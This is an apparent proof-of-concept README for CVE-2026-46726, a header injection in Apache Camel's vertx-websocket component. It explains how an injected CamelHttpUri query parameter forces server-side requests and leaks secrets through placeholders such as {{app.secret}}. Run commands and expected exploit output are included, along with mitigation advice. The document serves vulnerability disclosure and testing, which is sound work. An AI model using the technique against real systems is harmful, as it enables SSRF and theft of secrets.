Share
## https://sploitus.com/exploit?id=22A1DF37-2711-5CA3-B134-651D135BBDEC
# camel-vertx-websocket Header Injection Reproducer (CVE-2026-46726)

This project demonstrates a **message-header injection** in Apache Camel's `camel-vertx-websocket` component,
tracked as **CVE-2026-46726** (severity **HIGH**). The consumer mapped inbound WebSocket **query and path
parameters** into the Camel Exchange header map **without applying any `HeaderFilterStrategy`**
(`VertxWebsocketConsumer.populateExchangeHeaders()`). Because nothing blocked the Camel header namespace, a client
connecting to the WebSocket endpoint could set Camel-internal control headers โ€” including `CamelHttpUri`
(`Exchange.HTTP_URI`) โ€” simply by supplying them as query parameters.

This PoC demonstrates two impacts:

1. **Server-side request forgery (CWE-918)** โ€” an injected `CamelHttpUri` redirects the downstream HTTP producer
   to an attacker-chosen destination (for example an internal-only endpoint or a cloud metadata service).
2. **Secret disclosure (CWE-200)** โ€” the HTTP producer resolves Camel property placeholders on the resulting
   (attacker-controlled) URI, so a placeholder embedded in the injected value โ€” such as `{{app.secret}}`, an
   environment-variable or a vault reference โ€” is resolved to its real value and sent to the attacker.

Advisory: https://camel.apache.org/security/CVE-2026-46726.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-vertx-websocket` |
| **Affected Class** | `org.apache.camel.component.vertx.websocket.VertxWebsocketConsumer#populateExchangeHeaders` (no HeaderFilterStrategy on inbound query/path params) |
| **CWE** | CWE-20 โ†’ CWE-918 (SSRF) and CWE-200 (Information Exposure) |
| **Impact** | Inject `CamelHttpUri` via a WebSocket query param โ†’ SSRF from a downstream HTTP producer + disclosure of env/property/vault secrets via placeholder resolution |
| **Preconditions** | A WebSocket consumer bridged into an HTTP producer; unauthenticated when the WS endpoint is |
| **Severity** | HIGH |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23532 (PR [apache/camel#23285](https://github.com/apache/camel/pull/23285)) |
| **Credit** | Kamalpreet Singh |

> The fix (CAMEL-23532) adds a `VertxWebsocketHeaderFilterStrategy` (and a `headerFilterStrategy` endpoint option)
> that filters the `Camel*` / `camel*` namespace case-insensitively on inbound mapping. It is **shared** with the
> sibling advisories **CVE-2026-55993** (camel-atmosphere-websocket) and **CVE-2026-55994** (camel-iggy).

## Technical Details

```java
// VertxWebsocketConsumer.populateExchangeHeaders (affected 4.18.2) โ€” inbound params copied with no filter:
routingContext.queryParams()
        .forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value));   // CamelHttpUri passes
routingContext.pathParams()
        .forEach((name, value) -> VertxWebsocketHelper.appendHeader(headers, name, value));

// HttpHelper.createURL (camel-http-common) โ€” the header-supplied URI is used AND placeholder-resolved:
if (uri == null && !endpoint.isBridgeEndpoint()) {
    uri = exchange.getIn().getHeader(Exchange.HTTP_URI, String.class);     // = injected CamelHttpUri
}
uri = exchange.getContext().resolvePropertyPlaceholders(uri);             // {{app.secret}} -> real value
```

## The victim route

```java
from("vertx-websocket:0.0.0.0:8090/feed")
    .to("http://localhost:8080/legit-backend?throwExceptionOnFailure=false");
```

The route author's only intended HTTP target is `/legit-backend`. Because `bridgeEndpoint` defaults to `false`,
an inbound `CamelHttpUri` header overrides that target โ€” and the WebSocket consumer copies it straight from the
connection's query string.

## Repository layout

Everything runs in one self-contained app: the WebSocket consumer, the downstream HTTP sink endpoints, and the
WebSocket-client attacker.

```
CVE-2026-46726/
โ”œโ”€โ”€ pom.xml                 # camel-vertx-websocket + camel-http 4.18.2 (Netty pinned to 4.1.132, see note)
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ VictimRoute.java        # from("vertx-websocket:0.0.0.0:8090/feed").to("http://.../legit-backend")
    โ”‚   โ”œโ”€โ”€ SinkController.java     # /legit-backend, /internal/secret, /collect (records what the producer hit)
    โ”‚   โ””โ”€โ”€ ExploitController.java  # attacker: WebSocket client injecting a CamelHttpUri query param
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties  # holds the "secret" app.secret property
```

> Note: the pom pins `netty.version=4.1.132.Final` (the version Camel ships). Spring Boot 3.2.0 would otherwise
> pin the older Netty 4.1.101, on which the Vert.x 4.5.26 HTTP server silently fails to answer the WebSocket
> handshake (the port listens but returns no bytes).

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)

## Reproduction Steps

### Option A โ€” Docker (recommended)

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Option B โ€” run the jar directly

```bash
mvn clean package -DskipTests
java -jar target/cve-2026-46726-vertx-websocket-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```

### Expected output

```
=== 1) Legitimate WebSocket message (no injected query param) ===
  reached /legit-backend: true
  reached /internal/secret: false

=== 2) Injected CamelHttpUri=http://localhost:8080/internal/secret (SSRF) ===
  server-side request reached /internal/secret: true

=== 3) Injected CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}} (secret disclosure) ===
  attacker's collector received leak = SUPER-SECRET-abc123
  equals the app's real secret: true

>>> Header-injection proof โ€” an unauthenticated WebSocket client drove the server-side HTTP
>>> request via a CamelHttpUri query param: SSRF=true, secret-disclosure=true
```

The attacker never learns `app.secret` directly; they inject the placeholder `{{app.secret}}` and the HTTP
producer resolves it, sending the real value (`SUPER-SECRET-abc123`) to the attacker's collector.

## Attack Vectors

Any route where a `vertx-websocket` consumer feeds a downstream producer whose behaviour is controlled by Camel
headers. Injectable via the WebSocket URL query/path: `CamelHttpUri` (SSRF + placeholder-based secret
disclosure), and other Camel control headers.

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23532). After the fix the consumer applies a
`VertxWebsocketHeaderFilterStrategy` that filters the `Camel*` / `camel*` namespace on inbound mapping.

## Mitigation

Until upgrading: strip the Camel control headers before any downstream producer
(`.removeHeaders("Camel*")` and `.removeHeaders("camel*")` at the start of the route), require authentication on
the WebSocket endpoint, and avoid bridging an untrusted consumer directly into an HTTP producer whose target URI
can be driven from message headers.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed
and fixed** vulnerability. Do not use it against systems without explicit permission.